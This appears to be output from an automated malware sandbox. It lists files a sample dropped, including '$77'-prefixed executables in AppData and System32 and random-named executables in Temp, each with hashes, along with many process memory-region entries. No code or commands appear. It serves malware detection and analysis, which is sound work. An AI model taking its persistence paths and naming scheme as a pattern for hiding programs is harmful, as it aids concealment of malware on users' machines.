C:\Users\Admin\AppData\Roaming\$77-update.exe

MD5 8553f9793539d4d17c13e464d606d7dc
SHA1 a033d05b0c0a5b220fde15827b5c716fbec3b398
SHA256 bdd2412c4cb1952748237e6cc32bb3d39a68cb4e1ed3e00db88e74532f1c4d2a
SHA512 2d672c0a5dfaa1ebd9ee7dbdfec33c8c32bd3b827b03b206ad1bbcb414e2efa65fc8d284ba9c5037800f3c8d69a2a64a864562732951581244722a26401f3aec

C:\Users\Admin\AppData\Roaming\$77-update.exe

MD5 8553f9793539d4d17c13e464d606d7dc
SHA1 a033d05b0c0a5b220fde15827b5c716fbec3b398
SHA256 bdd2412c4cb1952748237e6cc32bb3d39a68cb4e1ed3e00db88e74532f1c4d2a
SHA512 2d672c0a5dfaa1ebd9ee7dbdfec33c8c32bd3b827b03b206ad1bbcb414e2efa65fc8d284ba9c5037800f3c8d69a2a64a864562732951581244722a26401f3aec

memory/5012-149-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\$77-update.exe

MD5 8553f9793539d4d17c13e464d606d7dc
SHA1 a033d05b0c0a5b220fde15827b5c716fbec3b398
SHA256 bdd2412c4cb1952748237e6cc32bb3d39a68cb4e1ed3e00db88e74532f1c4d2a
SHA512 2d672c0a5dfaa1ebd9ee7dbdfec33c8c32bd3b827b03b206ad1bbcb414e2efa65fc8d284ba9c5037800f3c8d69a2a64a864562732951581244722a26401f3aec

memory/3808-151-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Roaming\$77-update.exe

MD5 8553f9793539d4d17c13e464d606d7dc
SHA1 a033d05b0c0a5b220fde15827b5c716fbec3b398
SHA256 bdd2412c4cb1952748237e6cc32bb3d39a68cb4e1ed3e00db88e74532f1c4d2a
SHA512 2d672c0a5dfaa1ebd9ee7dbdfec33c8c32bd3b827b03b206ad1bbcb414e2efa65fc8d284ba9c5037800f3c8d69a2a64a864562732951581244722a26401f3aec

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\$77-update.exe.log

MD5 3aea5c16a0e7b995983bd1771d5ea11d
SHA1 5ce845c82ace7946cec271a8bac45572b977419c
SHA256 8d7143472e7cf3a40f46c6346251661e10fe3a932321cff14190648ee3d9c02f
SHA512 4d0949cc3c0b7bc19b94a7166fb1a528c5833773b4b577f1730c4aab93ec03f3d72714ebf8a103f2a6ab4f97abef2945e78c91d464885fb4f1f9c584d7a1b243

memory/1984-155-0x0000000000000000-mapping.dmp

memory/3456-156-0x0000000000000000-mapping.dmp

memory/1984-157-0x0000000002580000-0x00000000025B6000-memory.dmp

memory/3456-158-0x0000000005530000-0x0000000005B58000-memory.dmp

memory/1984-159-0x0000000005730000-0x0000000005752000-memory.dmp

memory/3456-160-0x0000000005CB0000-0x0000000005D16000-memory.dmp

memory/3456-161-0x00000000063A0000-0x00000000063BE000-memory.dmp

memory/1984-162-0x0000000006480000-0x00000000064B2000-memory.dmp

memory/1984-164-0x00000000704A0000-0x00000000704EC000-memory.dmp

memory/3456-163-0x00000000704A0000-0x00000000704EC000-memory.dmp

memory/3456-165-0x0000000006930000-0x000000000694E000-memory.dmp

memory/3808-166-0x0000000007330000-0x00000000073A6000-memory.dmp

memory/1984-167-0x0000000007900000-0x0000000007F7A000-memory.dmp

memory/3456-168-0x00000000076A0000-0x00000000076BA000-memory.dmp

memory/3808-169-0x00000000072D0000-0x00000000072EE000-memory.dmp

memory/3456-170-0x0000000007720000-0x000000000772A000-memory.dmp

memory/1668-171-0x0000000000000000-mapping.dmp

memory/2080-172-0x0000000000000000-mapping.dmp

memory/3456-173-0x0000000007930000-0x00000000079C6000-memory.dmp

memory/1984-174-0x0000000007400000-0x000000000740E000-memory.dmp

memory/1984-175-0x0000000007500000-0x000000000751A000-memory.dmp

memory/3456-176-0x00000000079D0000-0x00000000079D8000-memory.dmp

memory/2080-177-0x0000000006190000-0x00000000061B2000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

MD5 3d086a433708053f9bf9523e1d87a4e8
SHA1 b3ab5d4f282a4c8fe8c3005b8a557ed5a0e37f28
SHA256 6f8fd1b8d9788ad54eaeee329232187e24b7b43393a01aeba2d6e9675231fb69
SHA512 931ae42b4c68a4507ff2342332b08eb407050d47cf4176137ea022d0f6e513c689e998445a04c6d18d4877391705c586bfce0234632b898d41aaed0957996dfd

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 178b163e9b67d012f54106f7a760748b
SHA1 590651a8d9f593a134a978e68ed5fdd6f1ebd448
SHA256 471293350ed9c41d8d3677db8d466d08194b25258a7b225164bea0bdf8e1ea7e
SHA512 f2d0db45f41490f2862db80304acc28d2be630e81bff31e5b69589d09d4ffc802195b5401e1d1caf4db8a3c271ebe613c9411c06bcf7ae3579fe29c614e05d93

C:\Users\Admin\AppData\Local\Temp\qzkzzp.exe

MD5 e2462dff81e09c335dd89f711c7a2fba
SHA1 5b9badc4d85f1ce4912772507523ab062a730d4e
SHA256 fcd60b5bd3815f1c591ada33b9a46d4126c216dc32cc7b946352a938844138bd
SHA512 bbedc7d5c74ecd851e422aa5c89768300b4522d08ef8f361c4eb84f6830d146bc0069c070f7fdf686f01eceed4786240a55770f8fcbcdf60902bc6c60cb4243e

memory/3180-181-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Local\Temp\qzkzzp.exe

MD5 e2462dff81e09c335dd89f711c7a2fba
SHA1 5b9badc4d85f1ce4912772507523ab062a730d4e
SHA256 fcd60b5bd3815f1c591ada33b9a46d4126c216dc32cc7b946352a938844138bd
SHA512 bbedc7d5c74ecd851e422aa5c89768300b4522d08ef8f361c4eb84f6830d146bc0069c070f7fdf686f01eceed4786240a55770f8fcbcdf60902bc6c60cb4243e

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 39721085378b5318f4f5fa94f7a78b5d
SHA1 01063e8b4dae81935fae2ff0065b26c8ce85c75f
SHA256 858b1485a2f323ebecbec6cafc95cc64f0a8aa9af0eadfb766494af959b8290b
SHA512 f846d43b5209c2690f03cc04fe7fbd55eed64229e9c9548fc70d918c3bc62bc3cd46d0a8ae463727e877b3ebd9421770477829d7adab3a4a8735577bf518c5a1

memory/4292-184-0x000001E4226F0000-0x000001E422712000-memory.dmp

memory/4292-185-0x00007FFAAE270000-0x00007FFAAED31000-memory.dmp

memory/4292-186-0x00007FFACD530000-0x00007FFACD725000-memory.dmp

memory/4292-187-0x00007FFACD430000-0x00007FFACD4EE000-memory.dmp

memory/3356-188-0x0000000140000000-0x000000014004B000-memory.dmp

memory/3356-189-0x0000000140003954-mapping.dmp

memory/3356-190-0x0000000140000000-0x000000014004B000-memory.dmp

memory/3356-191-0x0000000140000000-0x000000014004B000-memory.dmp

memory/3356-192-0x00007FFACD530000-0x00007FFACD725000-memory.dmp

memory/3356-193-0x00007FFACD430000-0x00007FFACD4EE000-memory.dmp

memory/4292-194-0x00007FFACD530000-0x00007FFACD725000-memory.dmp

memory/4292-195-0x00007FFACD430000-0x00007FFACD4EE000-memory.dmp

memory/3356-196-0x0000000140000000-0x000000014004B000-memory.dmp

memory/3356-197-0x00007FFACD530000-0x00007FFACD725000-memory.dmp

memory/952-201-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

memory/592-198-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

memory/332-199-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

memory/4488-248-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

memory/3500-242-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

memory/2752-240-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

memory/2656-236-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

memory/2112-229-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

memory/1912-224-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

memory/676-200-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

memory/524-204-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

memory/3052-202-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

memory/592-203-0x000002964E8E0000-0x000002964E906000-memory.dmp

memory/592-259-0x000002964E910000-0x000002964E93D000-memory.dmp

memory/4296-254-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

memory/676-261-0x0000025AF98D0000-0x0000025AF98FD000-memory.dmp

memory/952-264-0x000002A23F5D0000-0x000002A23F5FD000-memory.dmp

memory/3052-265-0x0000000002FA0000-0x0000000002FCD000-memory.dmp

memory/524-266-0x0000020205940000-0x000002020596D000-memory.dmp

memory/332-262-0x0000020DA24F0000-0x0000020DA251D000-memory.dmp

memory/1792-253-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

memory/1472-252-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

memory/872-251-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

memory/4252-250-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

memory/4656-249-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

memory/3864-245-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

memory/4012-247-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

memory/4592-246-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

memory/4988-244-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

memory/3836-243-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

memory/3144-241-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

memory/2740-239-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

memory/2732-238-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

memory/2716-237-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

memory/2648-235-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

memory/4780-271-0x0000000000000000-mapping.dmp

memory/4792-274-0x0000000000000000-mapping.dmp

memory/1140-275-0x00000219FA140000-0x00000219FA16D000-memory.dmp

memory/1188-272-0x0000023F47FD0000-0x0000023F47FFD000-memory.dmp

memory/1308-279-0x0000018353590000-0x00000183535BD000-memory.dmp

memory/1324-281-0x0000019CF74B0000-0x0000019CF74DD000-memory.dmp

memory/4792-282-0x00000173B7380000-0x00000173B73AD000-memory.dmp

memory/4792-284-0x00000173B73B0000-0x00000173B73DD000-memory.dmp

memory/1368-285-0x00000198EEF90000-0x00000198EEFBD000-memory.dmp

memory/1540-287-0x0000024D8F160000-0x0000024D8F18D000-memory.dmp

memory/3096-292-0x0000000000000000-mapping.dmp

memory/1628-293-0x000002BE24C60000-0x000002BE24C8D000-memory.dmp

memory/1556-295-0x000002862B160000-0x000002862B18D000-memory.dmp

memory/1796-297-0x000001ED90CF0000-0x000001ED90D1D000-memory.dmp

memory/1644-296-0x00000139D5D40000-0x00000139D5D6D000-memory.dmp

memory/1904-298-0x000001CF5C2B0000-0x000001CF5C2DD000-memory.dmp

memory/1912-299-0x000001E4630F0000-0x000001E46311D000-memory.dmp

memory/1972-300-0x0000015A023D0000-0x0000015A023FD000-memory.dmp

memory/1676-290-0x000001747C0D0000-0x000001747C0FD000-memory.dmp

memory/2004-301-0x000001E44FB10000-0x000001E44FB3D000-memory.dmp

memory/1844-302-0x000001D31F740000-0x000001D31F76D000-memory.dmp

memory/2168-289-0x0000000000000000-mapping.dmp

memory/1780-288-0x000001F676540000-0x000001F67656D000-memory.dmp

memory/4080-286-0x0000000000000000-mapping.dmp

memory/1344-283-0x0000015B969B0000-0x0000015B969DD000-memory.dmp

memory/4780-280-0x000001C407DC0000-0x000001C407DED000-memory.dmp

memory/1224-278-0x000002D9B3CD0000-0x000002D9B3CFD000-memory.dmp

memory/3792-269-0x0000000000000000-mapping.dmp

memory/1044-270-0x0000025BBDF40000-0x0000025BBDF6D000-memory.dmp

memory/1028-268-0x0000021E392E0000-0x0000021E3930D000-memory.dmp

memory/700-267-0x000001B8D6170000-0x000001B8D619D000-memory.dmp

memory/2512-234-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

memory/2448-233-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

memory/2504-232-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

memory/2348-231-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

memory/2332-230-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

memory/2204-228-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

memory/1844-227-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

memory/1972-226-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

memory/2004-225-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

memory/1904-223-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

memory/1796-222-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

memory/1644-221-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

memory/4292-220-0x00007FFAAE270000-0x00007FFAAED31000-memory.dmp

memory/1556-219-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

memory/1628-218-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

memory/1676-217-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

memory/1780-216-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

memory/1540-215-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

memory/1368-214-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

memory/1344-213-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

memory/1324-212-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

memory/1308-211-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

memory/1224-210-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

memory/1140-209-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

memory/1188-208-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

memory/1044-207-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

memory/1028-206-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

memory/700-205-0x00007FFA8D5B0000-0x00007FFA8D5C0000-memory.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 39721085378b5318f4f5fa94f7a78b5d
SHA1 01063e8b4dae81935fae2ff0065b26c8ce85c75f
SHA256 858b1485a2f323ebecbec6cafc95cc64f0a8aa9af0eadfb766494af959b8290b
SHA512 f846d43b5209c2690f03cc04fe7fbd55eed64229e9c9548fc70d918c3bc62bc3cd46d0a8ae463727e877b3ebd9421770477829d7adab3a4a8735577bf518c5a1

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9A09.tmp.csv

MD5 0ecb371d3ed303b183b2b69c8d9ef347
SHA1 33f729b51db9c3ea13629c914e3e849b4ddf95fa
SHA256 927de09ad8030ef31d08fdd25b20b161d7d0e9b1815686309b1996d9aac960e0
SHA512 047452a15b084c6a7d44e46f7df0b9b150fd0daecff8212ec44b5bf494ba81ae2966825221752858801aa50d1046c85eaee3811d09d5b8b334176a103d46be53

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9B90.tmp.txt

MD5 56fa2a0873c5fdcf487a96cf49b2c517
SHA1 342e500f59664459da86fa15aea585ee3ea28f38
SHA256 e4f1a0187db1dd9d3f7a0a31812a05b191554f89a35bc28e477e4909513f776f
SHA512 f9b19372cec8d2878e30b06f5a1511b7c0e7836f6091521985e8bec3c04f7f58dc98e4615ce19fcd8051a64c3b4e4b25232903eb54369b2374b43bd0566cf68a

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9BC0.tmp.csv

MD5 d92fe8cae2a0faba8c6cb3240b2f4539
SHA1 a7f96f6237b009ed1a46a996ca7b63c94629bcb6
SHA256 aec96c93ad9bea169f297ac4ddf7d39be3b30d056226c358c98a3bcbf9892512
SHA512 8cb53d2541f2582c3968302df3fe1b56b17a0656de6b51b3c538fc9a2c4f587b90eb10bedf747b15ff0fb0b86e74741746744bd90a9193ae37ac704e0490b351

C:\ProgramData\Microsoft\Windows\WER\Temp\WER9C5D.tmp.txt

MD5 310b3a6511d34a9302da2d30eac9d951
SHA1 fed474709b8aa3f97663387f8242ebcc684ab6aa
SHA256 c78863eb2d055ccb8331eb67f79525a3f2bf7f9bb4f09d4114c7a88c4228e047
SHA512 b7f7cae4ae5d6f792efa7747bb093b6415d2de0b4efe22baaf9bb64ef7b9e8241c6fde7a437dbe62ff2dbad83cd6803bd13fda0a2fa54b67fea76b41fbeb876e

C:\Users\Admin\AppData\Local\Temp\lsnupy.exe

MD5 3cb329c9120e1ddc5717b26631760fe8
SHA1 54998ad15f5a3e87bbd140f67473e7d418b23c92
SHA256 68a30dd865b1e67cb013a5dfe856aaf1a93df96c7feed9645288e4d8876b9bc5
SHA512 7090b8fbd4042b5db300751ccce0eb72e628899da52efb1e4059eb36423fb5e63121bee1c5ee4367920c1c9cd4000bb28fd70774846c53e6686b7e1a3c57b970

memory/3092-351-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Local\Temp\lsnupy.exe

MD5 3cb329c9120e1ddc5717b26631760fe8
SHA1 54998ad15f5a3e87bbd140f67473e7d418b23c92
SHA256 68a30dd865b1e67cb013a5dfe856aaf1a93df96c7feed9645288e4d8876b9bc5
SHA512 7090b8fbd4042b5db300751ccce0eb72e628899da52efb1e4059eb36423fb5e63121bee1c5ee4367920c1c9cd4000bb28fd70774846c53e6686b7e1a3c57b970

memory/400-360-0x0000000000000000-mapping.dmp

memory/3628-362-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 ef2069360532090889f5be92e0aa658b
SHA1 087e5dcef20d558d8049af7ba712f603706b4c20
SHA256 4c1ee4e2c2806d8ac045542320bad324a5ed51e328982bac40688c8309f7df6a
SHA512 ea16ada7d5bd123362bea666fddd8aa4906ac377c7c8ee5302ca8616c62f8721d1b800f72b889c981aee1d7ea75ee107bc71ab80d1b4cf8f305db9719993c3d1

C:\Users\Admin\AppData\Local\Temp\sjtjny.exe

MD5 70aa2221d41c15462b83d86670e804ca
SHA1 3c711d4d294b9d3db9b71bbb6edce30c4a59f032
SHA256 6ed8c7a401fcab2242cd8be75c39e6b38dea1d95d3995d81ec81b6ecb46f9fe5
SHA512 9997fe37eafaadf72c4b884259053ab85250baabc4b9127d39d445a159c39509510d495ddaac229ee2940c76133ed9faddea8bb56cb71463df2757c379d2d5e3

C:\Users\Admin\AppData\Local\Temp\sjtjny.exe

MD5 70aa2221d41c15462b83d86670e804ca
SHA1 3c711d4d294b9d3db9b71bbb6edce30c4a59f032
SHA256 6ed8c7a401fcab2242cd8be75c39e6b38dea1d95d3995d81ec81b6ecb46f9fe5
SHA512 9997fe37eafaadf72c4b884259053ab85250baabc4b9127d39d445a159c39509510d495ddaac229ee2940c76133ed9faddea8bb56cb71463df2757c379d2d5e3

memory/4288-367-0x0000000000000000-mapping.dmp

memory/1940-376-0x0000000000000000-mapping.dmp

memory/1448-463-0x0000000000000000-mapping.dmp

memory/4052-466-0x0000000000000000-mapping.dmp

C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

MD5 add3e8f475f9bb2e592125a4e45d19cb
SHA1 161e4b0d02f64e741de9c26f8414c6c49aeaff44
SHA256 b419a999730e764e89b6d3d22d28274d68d9fe1c5515b404a5b974c8b3f3c06a
SHA512 43d81f738c19d8f937d17be07c4d4f8d802e87b96ea8f15d0fd4224c5e5f823bf7772c5d54f9d37fcc0f92c8573f4dd542105e397abb16cc918f24d22c65b6f2

C:\Users\Admin\AppData\Local\Temp\jiyrgq.exe

MD5 254850c126b7dd70bc258b16a5fa029c
SHA1 993c0147f75530ae0d3c45a971abe71eb0a8a68e
SHA256 064abdb50b3a06bc95b60e28b37e371af3ab7fe0918e5337713d94a686d25740
SHA512 eb2d44ee1c67c247fc184f38764c762a04266773d8669e488d78f0a777d28c26a31033d8b1ec5bc36896f4ef8098fa641210919798bd2722a5b15e2dd1bba8cf

C:\Users\Admin\AppData\Local\Temp\jiyrgq.exe

MD5 254850c126b7dd70bc258b16a5fa029c
SHA1 993c0147f75530ae0d3c45a971abe71eb0a8a68e
SHA256 064abdb50b3a06bc95b60e28b37e371af3ab7fe0918e5337713d94a686d25740
SHA512 eb2d44ee1c67c247fc184f38764c762a04266773d8669e488d78f0a777d28c26a31033d8b1ec5bc36896f4ef8098fa641210919798bd2722a5b15e2dd1bba8cf

memory/4484-477-0x0000000000000000-mapping.dmp

memory/832-487-0x0000000000000000-mapping.dmp

C:\Windows\System32\$77win\$77Client.exe

MD5 254850c126b7dd70bc258b16a5fa029c
SHA1 993c0147f75530ae0d3c45a971abe71eb0a8a68e
SHA256 064abdb50b3a06bc95b60e28b37e371af3ab7fe0918e5337713d94a686d25740
SHA512 eb2d44ee1c67c247fc184f38764c762a04266773d8669e488d78f0a777d28c26a31033d8b1ec5bc36896f4ef8098fa641210919798bd2722a5b15e2dd1bba8cf

memory/4880-492-0x0000000000000000-mapping.dmp

C:\Windows\system32\$77win\$77Client.exe

MD5 254850c126b7dd70bc258b16a5fa029c
SHA1 993c0147f75530ae0d3c45a971abe71eb0a8a68e
SHA256 064abdb50b3a06bc95b60e28b37e371af3ab7fe0918e5337713d94a686d25740
SHA512 eb2d44ee1c67c247fc184f38764c762a04266773d8669e488d78f0a777d28c26a31033d8b1ec5bc36896f4ef8098fa641210919798bd2722a5b15e2dd1bba8cf

memory/2164-499-0x0000000000000000-mapping.dmp